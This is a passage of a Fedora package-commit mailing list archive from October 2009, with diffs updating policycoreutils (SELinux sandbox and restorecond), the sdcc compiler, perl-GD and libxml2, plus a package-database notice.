 * Wed Sep 30 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-5
 - Fixes for semanage -equiv, readded modules, --enable, --disable



From dwalsh at fedoraproject.org  Tue Oct  6 16:11:12 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue,  6 Oct 2009 16:11:12 +0000 (UTC)
Subject: rpms/policycoreutils/F-12 policycoreutils-rhat.patch, 1.448,
	1.449 policycoreutils.spec, 1.649, 1.650
Message-ID: <20091006161112.719A211C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26722

Modified Files:
	policycoreutils-rhat.patch policycoreutils.spec 
Log Message:
* Thu Oct 6 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
- Add check to sandbox to verify save changes - Chris Pardy
- Fix memory leak in restorecond - Steve Grubb


policycoreutils-rhat.patch:
 Makefile                                    |    2 
 audit2allow/audit2allow                     |   14 
 load_policy/Makefile                        |    5 
 restorecond/Makefile                        |   24 -
 restorecond/org.selinux.Restorecond.service |    3 
 restorecond/restorecond.c                   |  422 +++---------------
 restorecond/restorecond.conf                |    5 
 restorecond/restorecond.desktop             |    7 
 restorecond/restorecond.h                   |   18 
 restorecond/restorecond.init                |    5 
 restorecond/restorecond_user.conf           |    2 
 restorecond/user.c                          |  237 ++++++++++
 restorecond/watch.c                         |  253 +++++++++++
 sandbox/Makefile                            |   31 +
 sandbox/deliverables/README                 |   32 +
 sandbox/deliverables/basicwrapper           |    4 
 sandbox/deliverables/run-in-sandbox.py      |   49 ++
 sandbox/deliverables/sandbox                |  216 +++++++++
 sandbox/sandbox                             |  242 ++++++++++
 sandbox/sandbox.8                           |   26 +
 sandbox/sandboxX.sh                         |   16 
 sandbox/seunshare.c                         |  265 +++++++++++
 scripts/Makefile                            |    2 
 scripts/chcat                               |    2 
 semanage/semanage                           |   99 ++--
 semanage/seobject.py                        |  209 +++++----
 semodule/semodule.8                         |    6 
 semodule/semodule.c                         |   53 ++
 setfiles/Makefile                           |    2 
 setfiles/restore.c                          |  519 ++++++++++++++++++++++
 setfiles/restore.h                          |   49 ++
 setfiles/setfiles.c                         |  643 +++-------------------------
 32 files changed, 2398 insertions(+), 1064 deletions(-)

Index: policycoreutils-rhat.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-rhat.patch,v
retrieving revision 1.448
retrieving revision 1.449
diff -u -p -r1.448 -r1.449
--- policycoreutils-rhat.patch	1 Oct 2009 15:44:12 -0000	1.448
+++ policycoreutils-rhat.patch	6 Oct 2009 16:11:11 -0000	1.449
@@ -939,8 +939,8 @@ diff --exclude-from=exclude --exclude=se
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/watch.c policycoreutils-2.0.74/restorecond/watch.c
 --- nsapolicycoreutils/restorecond/watch.c	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/restorecond/watch.c	2009-09-20 21:26:36.000000000 -0400
-@@ -0,0 +1,254 @@
++++ policycoreutils-2.0.74/restorecond/watch.c	2009-10-06 12:06:56.000000000 -0400
+@@ -0,0 +1,253 @@
 +#define _GNU_SOURCE
 +#include <sys/inotify.h>
 +#include <errno.h>
@@ -985,8 +985,7 @@ diff --exclude-from=exclude --exclude=se
 +	struct watchList *prev = NULL;
 +	glob_t globbuf;
 +	char *x = strdup(path);
-+	if (!x)
-+		exitApp("Out of Memory");
++	if (!x) exitApp("Out of Memory");
 +	char *file = basename(x);
 +	char *dir = dirname(x);
 +	ptr = firstDir;
@@ -1017,12 +1016,12 @@ diff --exclude-from=exclude --exclude=se
 +	}
 +	ptr = calloc(1, sizeof(struct watchList));
 +
-+	if (!ptr)
-+		exitApp("Out of Memory");
++	if (!ptr) exitApp("Out of Memory");
 +
 +	ptr->wd = inotify_add_watch(fd, dir, IN_CREATE | IN_MOVED_TO);
 +	if (ptr->wd == -1) {
 +		free(ptr);
++		free(x);
 +		syslog(LOG_ERR, "Unable to watch (%s) %s\n",
 +		       path, strerror(errno));
 +		return;
@@ -1195,6 +1194,323 @@ diff --exclude-from=exclude --exclude=se
 +		exitApp("Error watching config file.");
 +}
 +
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/basicwrapper policycoreutils-2.0.74/sandbox/deliverables/basicwrapper
+--- nsapolicycoreutils/sandbox/deliverables/basicwrapper	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/deliverables/basicwrapper	2009-08-14 10:53:53.000000000 -0400
+@@ -0,0 +1,4 @@
++import os, sys
++SANDBOX_ARGS = ['-f%s' % os.environ['_CONDOR_SCRATCH_DIR']]
++SANDBOX_ARGS.extend(sys.argv[1::])
++os.execv('/usr/bin/sandbox',SANDBOX_ARGS)
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/README policycoreutils-2.0.74/sandbox/deliverables/README
+--- nsapolicycoreutils/sandbox/deliverables/README	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/deliverables/README	2009-08-14 10:56:22.000000000 -0400
+@@ -0,0 +1,32 @@
++Files:
++run-in-sandbox.py:
++   adds the run in sandbox extension to nautilus
++   copy to .nautilus/python-extensions
++   yum install nautilus-python
++
++sandbox:
++   adds support for file checking, This was working I don't know why it didn't at that presentation
++   adds support for file relabeling, This is/was also working.
++
++basicwrapper:
++   This is pretty much the most basic condor wrapper you can create, it requires the -f option in sandbox. Also I can't make this work, maybe the grid team will have more luck.
++
++Other:
++Xguest Live cd:
++   There's a tutorial on live cds here: http://www.ibm.com/developerworks/library/l-fedora-livecd/index.html?ca=dgr-lnxw16FedoraLiveCD
++   It looks like David Zeuthen is head guy in the live cd department, he might be worth talking to.
++
++System-config-selinux:
++   wiki: fedorahosted.org/system-config-selinux
++   realeases: fedorahosted.org/releases/s/y/system-config-selinux/ includes a spec,srpm, and tarball of current version
++   The project is technically owned by Roman Rakus (rrakus at redhat.com) I've sent him an email asking him to make you a git contributor.
++   I'll continue making updates to this and make sure it gets into the repos.
++
++Assuming I don't get to keep my RedHat email you can contact me:
++email: chris.pardy at gmail.com
++phone: 1-207-838-7119
++
++I'll probably continue to be on the #fedora-selinux and #selinux irc channels
++
++Thanks for a great summer.
++Chris Pardy
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/run-in-sandbox.py policycoreutils-2.0.74/sandbox/deliverables/run-in-sandbox.py
+--- nsapolicycoreutils/sandbox/deliverables/run-in-sandbox.py	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/deliverables/run-in-sandbox.py	2009-08-14 10:25:38.000000000 -0400
+@@ -0,0 +1,49 @@
++import os
++import os.path
++import urllib
++
++import nautilus
++import gtk
++import gconf
++
++class RunInSandboxExtension(nautilus.MenuProvider):
++    def __init__(self):
++        self.client = gconf.client_get_default()
++
++    def sandbox_init(self,file,path):
++        if os.path.basename(path).endswith('.desktop'):
++            import re
++            f = open(path,'r')
++            for i in f.readlines():
++                m = re.match(r'Exec=(?P<name>\S+)',i)
++                if m:
++                    path = m.group('name')
++                    f.close()
++                    break
++        os.system('/usr/bin/sandbox -X %s &' % path)
++
++    def get_file_items(self, window, files):
++        if len(files) != 1:
++            return
++        
++        file = files[0]
++        
++        if file.is_directory():
++            return
++        
++        if file.get_uri_scheme() != 'file':
++            return
++
++        path = file.get_uri().replace('file://','',1)
++        if not os.access(path,os.X_OK):
++            return
++        
++        path = os.path.realpath(path)
++
++        item = nautilus.MenuItem('NautilusPython::openterminal_file_items','Run In Sandbox','Run %s in Sandbox' % file.get_name())
++        item.connect('activate',self.sandbox_init,path)
++        return item,
++
++    def get_background_items(self, window, file):
++        return
++
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/sandbox policycoreutils-2.0.74/sandbox/deliverables/sandbox
+--- nsapolicycoreutils/sandbox/deliverables/sandbox	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/deliverables/sandbox	2009-08-14 10:22:47.000000000 -0400
+@@ -0,0 +1,216 @@
++#!/usr/bin/python -E
++import os, sys, getopt, socket, random, fcntl, shutil
++import selinux
++
++PROGNAME = "policycoreutils"
++
++import gettext
++gettext.bindtextdomain(PROGNAME, "/usr/share/locale")
++gettext.textdomain(PROGNAME)
++
++try:
++       gettext.install(PROGNAME,
++                       localedir = "/usr/share/locale",
++                       unicode=False,
++                       codeset = 'utf-8')
++except IOError:
++       import __builtin__
++       __builtin__.__dict__['_'] = unicode
++
++
++DEFAULT_TYPE = "sandbox_t"
++DEFAULT_X_TYPE = "sandbox_x_t"
++
++X_FILES = {}
++OLD_FCONTEXTS = {}
++
++random.seed(None)
++
++def error_exit(msg):
++    sys.stderr.write("%s: " % sys.argv[0])
++    sys.stderr.write("%s\n" % msg)
++    sys.stderr.flush()
++    sys.exit(1)
++
++def reserve(mcs):
++    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
++    sock.bind("\0%s" % mcs)
++    fcntl.fcntl(sock.fileno(), fcntl.F_SETFD, fcntl.FD_CLOEXEC)
++
++def gen_context(setype):
++    while True:
++        i1 = random.randrange(0, 1024)
++        i2 = random.randrange(0, 1024)
++        if i1 == i2:
++            continue
++        if i1 > i2:
++            tmp = i1
++            i1 = i2
++            i2 = tmp
++        mcs = "s0:c%d,c%d" % (i1, i2)
++        reserve(mcs)
++        try:
++            reserve(mcs)
++        except:
++            continue
++        break
++    con = selinux.getcon()[1].split(":")
++
++    execcon = "%s:%s:%s:%s" % (con[0], con[1], setype, mcs)
++    
++    filecon = "%s:%s:%s:%s" % (con[0], 
++                               "object_r", 
++                               "%s_file_t" % setype[:-2], 
++                               mcs)
++    return execcon, filecon
++
++def copyfile(file, dir, dest):
++       import re
++       if file.startswith(dir):
++              dname = os.path.dirname(file)
++              bname = os.path.basename(file)
++              if dname == dir:
++                     dest = dest + "/" + bname
++              else:
++                     newdir = re.sub(dir, dest, dname)
++                     os.makedirs(newdir)
++                     dest = newdir + "/" + bname
++
++              if os.path.isdir(file):
++                     shutil.copytree(file, dest)
++              else:
++                     shutil.copy2(file, dest)
++              X_FILES[dest] = os.path.getmtime(dest)
++
++def copyfiles(newhomedir, newtmpdir, files):
++       import pwd
++       homedir=pwd.getpwuid(os.getuid()).pw_dir
++       
++       for f in files:
++              copyfile(f,homedir, newhomedir)
++              copyfile(f,"/tmp", newtmpdir)
++
++def uncopyfile(newhomedir,file):
++      import pwd
++      homedir=pwd.getpwuid(os.getuid()).pw_dir
++      copyfile(file,newhomedir,homedir)
++
++if __name__ == '__main__':
++    if selinux.is_selinux_enabled() != 1:
++        error_exit("Requires an SELinux enabled system")
++        
++    init_files = []
++
++    def usage(message = ""):
++        text = _("""
++sandbox [-h] [-I includefile ] [[-i file ] ...] [[-f file] ...][ -t type ] command
++""")
++        error_exit("%s\n%s" % (message, text))
++
++    setype = DEFAULT_TYPE
++    X_ind = False
++    try:
++           gopts, cmds = getopt.getopt(sys.argv[1:], "i:ht:XI:f:", 
++                                       ["help",
++                                        "include=", 
++                                        "includefile=", 
++                                        "type="
++					"file="
++                                        ])
++           for o, a in gopts:
++                  if o == "-t" or o == "--type":
++                         setype = a
++                         
++                  if o == "-i" or o == "--include":
++                         rp = os.path.realpath(a)
++                         if rp not in init_files:
++                                init_files.append(rp)
++
++                  if o == "-f" or o == "--file":
++                         rp = os.path.realpath(a)
++                         OLD_FCONTEXTS[a] = selinux.getfilecon(rp)[1]
++                         
++                  if o == "-I" or o == "--includefile":
++                         fd = open(a, "r")
++                         for i in fd.read().split("\n"):
++                                if os.path.exists(i):
++                                       rp = os.path.realpath(i)
++                                       if rp not in init_files:
++                                              init_files.append(rp)
++                                       
++                         fd.close
++                         
++                  if o == "-X":
++                         if DEFAULT_TYPE == setype:
++                                setype = DEFAULT_X_TYPE
++                         X_ind = True
++
++                  if o == "-h" or o == "--help":
++                         usage(_("Usage"));
++            
++           if len(cmds) == 0:
++                  usage(_("Command required"))
++
++           execcon, filecon = gen_context(setype)
++           rc = -1
++
++           if cmds[0][0] != "/" and cmds[0][:2] != "./" and cmds[0][:3] != "../":
++                  for i in  os.environ["PATH"].split(':'):
++                         f = "%s/%s" % (i, cmds[0])
++                         if os.access(f, os.X_OK):
++                                cmds[0] = f
++                                break
++
++           try:
++                  if X_ind:
++                         import warnings
++                         warnings.simplefilter("ignore")
++                         newhomedir = os.tempnam(".", ".sandbox%s")
++                         os.mkdir(newhomedir)
++                         selinux.setfilecon(newhomedir, filecon) 
++                         newtmpdir = os.tempnam("/tmp", ".sandbox")
++                         os.mkdir(newtmpdir)
++                         selinux.setfilecon(newtmpdir, filecon)
++                         warnings.resetwarnings()
++                         copyfiles(newhomedir, newtmpdir, init_files + cmds)
++                         execfile = newhomedir + "/.sandboxrc"
++                         fd = open(execfile, "w+")
++                         fd.write("""#! /bin/sh
++%s
++""" % " ".join(cmds))
++                         fd.close()
++                         os.chmod(execfile, 0700)
++                         
++                         cmds =  ("/usr/sbin/seunshare -t %s -h %s -- %s /usr/share/sandbox/sandboxX.sh" % (newtmpdir, newhomedir, execcon)).split()
++                         rc = os.spawnvp(os.P_WAIT, cmds[0], cmds)
++                         for i in X_FILES.keys():
++                             if os.path.getmtime(i) > X_FILES[i]:
++                                 yn = raw_input("do you want to save your changes to the file %s (Y/N): " % os.path.basename(i)).lower()
++                                 if yn.startswith('y'):
++                                      uncopyfile(newhomedir,i)
++                  else:
++                         for i in OLD_FCONTEXTS.keys():
++                            selinux.setfilecon(i,filecon)
++                         selinux.setexeccon(execcon)
++                         rc = os.spawnvp(os.P_WAIT, cmds[0], cmds)
++                         selinux.setexeccon(None)
++                         for i in OLD_FCONTEXTS.keys():
++                            selinux.setfilecon(i,OLD_FCONTEXTS[i])
++           finally:
++                  if X_ind:
++                         shutil.rmtree(newhomedir)
++                         shutil.rmtree(newtmpdir)
++                  
++    except getopt.GetoptError, error:
++           usage(_("Options Error %s ") % error.msg)
++    except OSError, error:
++           error_exit(error.args[1])
++    except ValueError, error:
++           error_exit(error.args[0])
++    except KeyError, error:
++           error_exit(_("Invalid value %s") % error.args[0])
++    except IOError, error:
++           error_exit(error.args[1])
++        
++    sys.exit(rc)
++
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/Makefile policycoreutils-2.0.74/sandbox/Makefile
 --- nsapolicycoreutils/sandbox/Makefile	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/sandbox/Makefile	2009-09-20 21:26:36.000000000 -0400
@@ -1232,8 +1548,8 @@ diff --exclude-from=exclude --exclude=se
 +relabel:
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/sandbox policycoreutils-2.0.74/sandbox/sandbox
 --- nsapolicycoreutils/sandbox/sandbox	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/sandbox	2009-09-23 11:24:57.000000000 -0400
-@@ -0,0 +1,222 @@
++++ policycoreutils-2.0.74/sandbox/sandbox	2009-10-06 11:48:36.000000000 -0400
+@@ -0,0 +1,242 @@
 +#!/usr/bin/python -E
 +import os, sys, getopt, socket, random, fcntl, shutil
 +import selinux
@@ -1257,11 +1573,11 @@ diff --exclude-from=exclude --exclude=se
 +
 +DEFAULT_TYPE = "sandbox_t"
 +DEFAULT_X_TYPE = "sandbox_x_t"
++X_FILES = {}
 +
 +random.seed(None)
 +
 +def sighandler(signum, frame):
-+    print "exiting on signal %s" % signum
 +    signal.signal(signum,  signal.SIG_IGN)
 +    os.kill(0, signum)
 +    raise KeyboardInterrupt
@@ -1325,6 +1641,7 @@ diff --exclude-from=exclude --exclude=se
 +                     shutil.copytree(file, dest)
 +              else:
 +                     shutil.copy2(file, dest)
++              X_FILES[file] = (dest, os.path.getmtime(dest))
 +
 +def copyfiles(newhomedir, newtmpdir, files):
 +       import pwd
@@ -1333,6 +1650,19 @@ diff --exclude-from=exclude --exclude=se
 +              copyfile(f,homedir, newhomedir)
 +              copyfile(f,"/tmp", newtmpdir)
 +
++def savefile(new, orig):
++       import gtk
++       dlg = gtk.MessageDialog(None, 0, gtk.MESSAGE_INFO,
++                               gtk.BUTTONS_YES_NO,
++                               _("Do you want to save changes to '%s' (Y/N): ") % orig)
++       dlg.set_title(_("Sandbox Message"))
++       dlg.set_position(gtk.WIN_POS_MOUSE)
++       dlg.show_all()
++       rc = dlg.run()
++       dlg.destroy()
++       if rc == gtk.RESPONSE_YES:
++              shutil.copy2(new,orig)
++
 +if __name__ == '__main__':
 +    setup_sighandlers()
 +    if selinux.is_selinux_enabled() != 1:
@@ -1430,6 +1760,12 @@ diff --exclude-from=exclude --exclude=se
 +                         
 +                         cmds =  ("/usr/sbin/seunshare -t %s -h %s -- %s /usr/share/sandbox/sandboxX.sh" % (newtmpdir, newhomedir, execcon)).split()
 +                         rc = os.spawnvp(os.P_WAIT, cmds[0], cmds)
++                         for i in paths:
++                                if i not in X_FILES:
++                                       continue
++                                (dest, mtime) = X_FILES[i]
++                                if os.path.getmtime(dest) > mtime:
++                                       savefile(dest, i)
 +                  else:
 +                         selinux.setexeccon(execcon)
 +                         rc = os.spawnvp(os.P_WAIT, cmds[0], cmds)


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils.spec,v
retrieving revision 1.649
retrieving revision 1.650
diff -u -p -r1.649 -r1.650
--- policycoreutils.spec	2 Oct 2009 12:49:35 -0000	1.649
+++ policycoreutils.spec	6 Oct 2009 16:11:12 -0000	1.650
@@ -296,8 +296,9 @@ fi
 exit 0
 
 %changelog
-* Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
-- More template fixes
+* Thu Oct 6 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
+- Add check to sandbox to verify save changes - Chris Pardy
+- Fix memory leak in restorecond - Steve Grubb
 
 * Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-7
 - Fixes Templates



From konradm at fedoraproject.org  Tue Oct  6 16:34:13 2009
From: konradm at fedoraproject.org (konradm)
Date: Tue,  6 Oct 2009 16:34:13 +0000 (UTC)
Subject: rpms/sdcc/F-11 sdcc-2.9.0-r5508-fix-bug2805333.diff, NONE,
	1.1 sdcc.spec, 1.15, 1.16
Message-ID: <20091006163413.3F29711C00C1@cvs1.fedora.phx.redhat.com>

Author: konradm

Update of /cvs/pkgs/rpms/sdcc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32423

Modified Files:
	sdcc.spec 
Added Files:
	sdcc-2.9.0-r5508-fix-bug2805333.diff 
Log Message:
* Fri Sep 11 2009 Conrad Meyer <konrad at tylerc.org> - 2.9.0-5
- Fix a bug with single-bit types, logical NOT, and casting to char
  (I'm fuzzy on the details) that was reported by a Fedora user with the
  r5508 patch from upstream.


sdcc-2.9.0-r5508-fix-bug2805333.diff:
 gen.c |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE sdcc-2.9.0-r5508-fix-bug2805333.diff ---
Index: sdcc/src/mcs51/gen.c
===================================================================
--- sdcc/src/mcs51/gen.c	(revision 5507)
+++ sdcc/src/mcs51/gen.c	(working copy)
@@ -1413,7 +1413,8 @@
         return aop->aopu.aop_reg[offset]->name;
 
     case AOP_CRY:
-      emitcode ("mov", "c,%s", aop->aopu.aop_dir);
+      if (!IS_OP_RUONLY (oper))
+        emitcode ("mov", "c,%s", aop->aopu.aop_dir);
       emitcode ("clr", "a");
       emitcode ("rlc", "a");
       return (dname ? "acc" : "a");
@@ -10052,7 +10053,7 @@
     ifxCond = genUnpackBits (result, rname, POINTER, ifx);
   else
     {
-      /* we have can just get the values */
+      /* we can just get the values */
       int size = AOP_SIZE (result);
       int offset = 0;
 
@@ -10060,7 +10061,6 @@
         {
           if (ifx || IS_AOP_PREG (result) || AOP_TYPE (result) == AOP_STK)
             {
-
               emitcode ("mov", "a,@%s", rname);
               if (!ifx)
                 aopPut (result, "a", offset);
@@ -10483,7 +10483,6 @@
      the pointer values */
   switch (p_type)
     {
-
     case POINTER:
     case IPOINTER:
       genNearPointerGet (left, result, ic, pi, ifx);


Index: sdcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdcc/F-11/sdcc.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sdcc.spec	21 Jul 2009 00:20:42 -0000	1.15
+++ sdcc.spec	6 Oct 2009 16:34:13 -0000	1.16
@@ -1,6 +1,6 @@
 Name:           sdcc
 Version:        2.9.0
-Release:        3%{?dist}
+Release:        5%{?dist}
 Summary:        Small Device C Compiler
 Group:          Applications/Engineering
 License:        GPLv2+
@@ -10,6 +10,7 @@ Source1:        README.fedora
 Patch0:         sdcc-2.9.0-patch-out-getline.diff
 Patch1:         sdcc-2.9.0-configure.diff
 Patch2:         sdcc-2.9.0-r5476-fix-doublefree.diff
+Patch3:         sdcc-2.9.0-r5508-fix-bug2805333.diff
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  autoconf
@@ -56,6 +57,7 @@ Emacs extensions for SDCC.
 %patch0 -p1
 %patch1 -p1
 %patch2 -p2
+%patch3 -p1
 find -name '*.[ch]' -exec chmod -x '{}' \;
 
 # Extract %%__os_install_post into os_install_post~
@@ -110,6 +112,10 @@ chmod 755 %{name}-$(basename $x)
 done
 popd
 
+pushd $RPM_BUILD_ROOT%{_datadir}/%{name}/lib/src/pic16
+find . -type f -name '*.a' -exec chmod 664 '{}' \;
+popd
+
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -135,6 +141,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Sep 11 2009 Conrad Meyer <konrad at tylerc.org> - 2.9.0-5
+- Fix a bug with single-bit types, logical NOT, and casting to char
+  (I'm fuzzy on the details) that was reported by a Fedora user with the
+  r5508 patch from upstream.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.9.0-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jul 20 2009 Conrad Meyer <konrad at tylerc.org> - 2.9.0-3
 - Fix double-free (rhbz# 509278) with patch from upstream.
 



From kasal at fedoraproject.org  Tue Oct  6 16:39:46 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Tue,  6 Oct 2009 16:39:46 +0000 (UTC)
Subject: rpms/perl-GD/devel perl-GD-skip-3.patch, NONE, 1.1 .cvsignore, 1.13,
	1.14 perl-GD.spec, 1.28, 1.29 sources, 1.13, 1.14
Message-ID: <20091006163946.285DC11C00C1@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-GD/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2210

Modified Files:
	.cvsignore perl-GD.spec sources 
Added Files:
	perl-GD-skip-3.patch 
Log Message:
- new upstream version
- run tests always
- do not add bdf_scripts/ to docs
- switch off the test that fails in i686 koji

perl-GD-skip-3.patch:
 GD.t |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE perl-GD-skip-3.patch ---
Skip test 3, it does not work; the blue collor is replaced by white.
broken both in dist-f12 and dist-f13 in koji.
Not reproduced outside koji yet.

To get the broken image, run "perl t/GD.t --write" and look at
"t/test.out.3.png_new".

Important observation:
It is important that test3() gets called; if it is skipped, then
test 6 below fails.  Looks like a memory allocation issue...


--- GD-2.44/t/GD.t.orig	2005-03-09 21:56:28.000000000 +0100
+++ GD-2.44/t/GD.t	2009-10-06 17:28:47.000000000 +0200
@@ -49,7 +49,8 @@
 }
 
 compare(test2(),2);
-compare(test3(),3);
+#compare(test3(),3);
+  my $throwaway = test3(); print "ok 3 # Skip, blue color does not work in koji\n";
 compare(test4(),4);
 compare(test5(),5);
 compare(test6(),6);


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-GD/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	13 Mar 2009 19:42:48 -0000	1.13
+++ .cvsignore	6 Oct 2009 16:39:45 -0000	1.14
@@ -1 +1 @@
-GD-2.41.tar.gz
+GD-2.44.tar.gz


Index: perl-GD.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-GD/devel/perl-GD.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- perl-GD.spec	26 Jul 2009 06:08:39 -0000	1.28
+++ perl-GD.spec	6 Oct 2009 16:39:45 -0000	1.29
@@ -1,13 +1,6 @@
-#
-# Rebuild option:
-#
-#   --with testsuite         - run the test suite
-#
-
-
 Name:           perl-GD
-Version:        2.41
-Release:        3%{?dist}
+Version:        2.44
+Release:        1%{?dist}
 Summary:        Perl interface to the GD graphics library
 
 Group:          Development/Libraries
@@ -15,12 +8,10 @@ License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/GD/
 Source0:        http://www.cpan.org/authors/id/L/LD/LDS/GD-%{version}.tar.gz
 Patch0:		perl-GD-2.41-Group.patch
+Patch1:		perl-GD-skip-3.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gd-devel >= 2.0.28
-BuildRequires:  %{_bindir}/gdlib-config
-BuildRequires:  libpng-devel, libjpeg-devel, freetype-devel
-BuildRequires:  fontconfig-devel, libX11-devel, libXpm-devel
 BuildRequires:  perl(ExtUtils::MakeMaker)
 Requires:       gd >= 2.0.28
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
@@ -34,6 +25,9 @@ create PNG images on the fly or modify e
 %prep
 %setup -q -n GD-%{version}
 %patch0 -p1
+%ifarch %{ix86}
+%patch1 -p1
+%endif
 %{__perl} -pi -e 's|/usr/local/bin/perl\b|%{__perl}|' \
   qd.pl demos/{*.{pl,cgi},truetype_test}
 chmod -c 644 bdf_scripts/* demos/*
@@ -55,10 +49,13 @@ chmod -R u+w $RPM_BUILD_ROOT/*
 
 
 %check
-%{?_with_testsuite:make test}
+make test
+%ifarch %{ix86}
+perl t/GD.t --write
+: This is the file that should contain some blue color:
+base64 t/test.out.3.png_new
+%endif
 
-# Remove duplicate file
-rm bdf_scripts/bdf2gdfont.PLS
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -66,7 +63,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc ChangeLog README README.QUICKDRAW demos/ bdf_scripts/
+%doc ChangeLog README README.QUICKDRAW demos/
 %{_bindir}/*
 %{perl_vendorarch}/auto/GD
 %{perl_vendorarch}/GD*
@@ -76,6 +73,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.44-1
+- new upstream version
+- run tests always
+- do not add bdf_scripts/ to docs
+- switch off the test that fails in i686 koji
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.41-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-GD/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	13 Mar 2009 19:42:49 -0000	1.13
+++ sources	6 Oct 2009 16:39:45 -0000	1.14
@@ -1 +1 @@
-15d523ea72b552863453882f7d132712  GD-2.41.tar.gz
+9b9a4d78a5af0616a96264b0aa354859  GD-2.44.tar.gz



From pkgdb at fedoraproject.org  Tue Oct  6 16:48:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 16:48:08 +0000
Subject: [pkgdb] vim-vimoutliner: plautrba has requested watchcommits
Message-ID: <20091006164809.079BE10F890@bastion2.fedora.phx.redhat.com>

plautrba has requested the watchcommits acl on vim-vimoutliner (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From veillard at fedoraproject.org  Tue Oct  6 16:48:12 2009
From: veillard at fedoraproject.org (Daniel Veillard)
Date: Tue,  6 Oct 2009 16:48:12 +0000 (UTC)
Subject: rpms/libxml2/devel .cvsignore, 1.46, 1.47 libxml2.spec, 1.77,
	1.78 sources, 1.48, 1.49
Message-ID: <20091006164812.5E48E11C00C1@cvs1.fedora.phx.redhat.com>

Author: veillard

Update of /cvs/pkgs/rpms/libxml2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4438

Modified Files:
	.cvsignore libxml2.spec sources 
Log Message:
Upstream release 2.7.6, Daniel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/devel/.cvsignore,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- .cvsignore	24 Sep 2009 16:53:35 -0000	1.46
+++ .cvsignore	6 Oct 2009 16:48:11 -0000	1.47
@@ -24,3 +24,4 @@ libxml2-2.7.2.tar.gz
